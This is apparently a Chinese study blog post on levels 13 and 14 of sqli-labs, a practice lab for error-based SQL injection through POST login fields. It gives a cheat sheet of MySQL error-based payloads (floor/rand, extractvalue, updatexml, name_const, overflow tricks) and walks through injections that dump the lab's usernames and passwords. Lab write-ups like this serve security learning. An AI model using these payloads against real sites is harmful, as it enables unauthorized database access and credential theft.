Sqli-labs 复习 Less13-14 报错型盲注 - POST

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之前学习了一遍 sqli-labs,这是巩固复习一遍,代码全部手敲,加深印象

Sqli-labs 博客目录

报错型 SQL 盲注

函数讲解

  1. 盲注用到的函数

    rand()  产生一个不固定的0~1的随机数列,加了参数之后会变成固定的伪随机数列
    rand(0),rand(1),当使用一个整数参数时,rand使用该参数作为种子生成一个固定的伪随机数列
    floor  向下取整 floor(2.5) == 2
    count()统计元组的个数
    concat() 字符串连接 concat('~~','aaa','bbb',) =>'aaa~~bbb' 
    concat_ws() 字符串连接 concat_ws('~~','aaa','bbb',) =>'aaa~~bbb'   
    extractvalue(最长32位) MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()
    updateXml(最长32位)
    name_const(): mysql存储过程中的本地变量会被一个内部函数 name_const 转化,似乎是专门为存储过程设计的,没有提到有其它特别之处. 
    

    Less-13 使用 name_const() 报错注入
    Less-14 使用 extractvalue() 报错注入

注入方法

  1. 布尔型盲注手法,按位爆破

    1. left()
    2. ascii()、substr()
    3. regexp
    4. ord()、mid()

    ?id=1’and left((select version() limit 0,1),1)=’s’#

  2. 利用 floor(rand(x)*2) 的执行bug进行报错注入

    ?id=1” union select 1,count(*),concat((你希望的查询语句),floor(rand(0)*2))a from information_schema.columns group by a#

    ?id=1” and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#

  3. 利用 extractvalue() 函数报错注入(有长度限制,最长32位,mysql 5.0不可用,mysql 5.6可用)

    ?id=1” and extractvalue(1,concat(0x7e,(你希望的查询语句)))#

    ?id=1” and extractvalue(1,concat(0x7e,((select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a))))#

    ?id=1” and extractvalue(1,concat(0x7e,(database())))#

    ?id=1” and extractvalue(1,concat(0x7e,((select * from(select concat((select username from security.users limit 0,1))x from information_schema.tables group by x)a))))#

  4. 利用 updatexml() 函数报错注入(有长度限制,最长32位)

    ?id=1” and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#

  5. 利用 name_const 数据的重复性(低版本可用,mysql 5.0可用,mysql 5.6不可用 )

    ?id=1” union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #

    ?id=1” and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#

  6. 利用 double 数值类型超出范围进行报错注入

    ?id=1” union select (exp(~(select * from(select user())a))),2,3#

    未测试成功

  7. 利用 bigint 溢出进行报错注入(这些溢出错误会导致MySQL版本5.5.5及以上)

    基于 bigint 溢出错误的SQL注入( https://www.cnblogs.com/lcamry/articles/5509112.html)

    未测试成功

    ?id=1” union select (!(select * from (select user())x) - ~0),2,3#

    下面为句式:

    !(select*from(select user())x)-~0

    (select(!x-~0)from(select(select user())x)a)

    (select!x-~0.from(select(select user())x)a)

    select ~0+!(select*from(select user())x)

  8. 一个句式组合:

    (select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a)

    遇到无法使用 select * from * 查询的时候,可以使用这个万能句式,代替下面的“你希望的查询语句”

    ?id=1" and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#
    
    ?id=1" and extractvalue(1,concat(0x7e,(你希望的查询语句)))#
    
    ?id=1" and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#
    
    ?id=1" and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#
    
    ?id=1" union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #
    
    ?id=1" union select (exp(~(select * from(select user())a))),2,3#
    
    and so on...
    

Less-13 报错型盲注-单引号括号

  1. 测试

    低版本可用,mysql 5.0可用,mysql 5.6不可用

    在 username 输入 1’) order by 2# //无显示

    在 password 输入 任意内容

    在 username 输入 1’) order by 3# //报错

    在 password 输入 任意内容

    ?id=1” union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #

    ?id=1” and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#

  2. 猜数据库

    1’) union select 1,2 from (select name_const((select version() limit 0,1)),1),name_const((select version() limit 0,1),1))x#

    1’) union select 1,2 from (select name_const((select table_schema from information_schema.tables limit 0,1),1),name_const((select table_schema from information_schema.tables limit 0,1),1))x #

    1’) and exists(select * from (select * from(select name_const((select table_schema from information_schema.tables limit 0,1),1))a join(select name_const((select table_schema from information_schema.tables limit 0,1),1))b)c)#

    结果显示 security

  3. 猜表名

    1’) union select 1,2,3 from (select name_const((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1),name_const((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1))x#

    1’) union select 1,2,3 from (select name_const((select group_concat(table_name,0x20) from information_schema.tables where table_schema=’security’),1),name_const((select group_concat(table_name,0x20) from information_schema.tables where table_schema=’security’),1))x#

    1’) and exists(select * from (select * from(select name_const((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1))a join(select name_const((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1))b)c)#

    1’) and exists(select * from (select * from(select name_const((select group_concat(table_name,0x20) from information_schema.tables where table_schema=’security’),1))a join(select name_const((select group_concat(table_name,0x20) from information_schema.tables where table_schema=’security’),1))b)c)#

    结果显示 ‘emails ,referers ,uagents ,users

  4. 猜列名

    1’) union select 1,2,3 from (select name_const((select column_name from information_schema.columns where table_name=’users’ and table_schema=’security’ limit 0,1),1),name_const((select column_name from information_schema.columns where table_name=’users’ and table_schema=’security’ limit 0,1),1))x#

    1’) union select 1,2,3 from (select name_const((select group_concat(table_name,0x20) from information_schema.tables where table_schema=’security’),1),name_const((select group_concat(table_name,0x20) from information_schema.tables where table_schema=’security’),1))x#

    1’) and exists(select * from (select * from(select name_const((select group_concat(column_name,0x20) from information_schema.columns where table_name=’users’ and table_schema=’security’),1))a join(select name_const((select group_concat(column_name,0x20) from information_schema.columns where table_name=’users’ and table_schema=’security’),1))b)c)#

    1’) and exists(select * from (select * from(select name_const((select column_name from information_schema.columns where table_name=’users’ and table_schema=’security’ limit 0,1),1))a join(select name_const((select column_name from information_schema.columns where table_name=’users’ and table_schema=’security’ limit 0,1),1))b)c)#

    结果为 ‘id ,username ,password ‘

  5. 猜数据

    1’) union select 1,2,3 1’) union select 1,2,3 from (select name_const((select group_concat(username,0x20) from security.users),1),name_const((select group_concat(username,0x20) from security.users),1))x#

    1’) and exists(select * from (select * from(select name_const((select group_concat(password,0x20) from security.users),1))a join(select name_const((select group_concat(password,0x20) from security.users),1))b)c)#

    结果为

    username:'Dumb ,Angelina ,Dummy ,secure ,stupid ,superman ,batman ,admin ,'
    password: 'Dumb ,I-kill-you ,p@ssword ,crappy ,stupidity ,genious ,mobile ,'
    

Less-14 报错型盲注-双引号

  1. 测试

    有长度限制,最长32位,mysql 5.0不可用,mysql 5.6可用

    在 username 输入 1” order by 2#

    在 username 输入 1” order by 3#

    在 password 输入 任意

    1” and extractvalue(1,concat(0x7e,(你希望的查询语句)))#

  2. 猜数据库

    1” and extractvalue(1,concat(0x7e,(database())))#

    1” and extractvalue(1,concat(0x7e,(select table_schema from information_schema.tables limit 0,1)))#

    结果为 security

  3. 猜表名

    1” and extractvalue(1,concat(0x7e,(select group_concat(table_name,0x20) from information_schema.tables where table_schema=’security’)))#

    结果为 emails ,referers ,uagents ,user

  4. 猜列名

    1” and extractvalue(1,concat(0x7e,(select group_concat(column_name,0x20) from information_schema.columns where table_name=’users’ and table_schema=’security’)))#

    结果为 id ,username ,password

  5. 猜数据

    1” and extractvalue(1,concat(0x7e,(select group_concat(username) from security.users)))#

    1” and extractvalue(1,concat(0x7e,(select group_concat(password) from security.users)))#

    结果为(输出结果有长度限制)

    username:Dumb,Angelina,Dummy,secure,stup
    password:Dumb,I-kill-you,p@ssword,crappy
    
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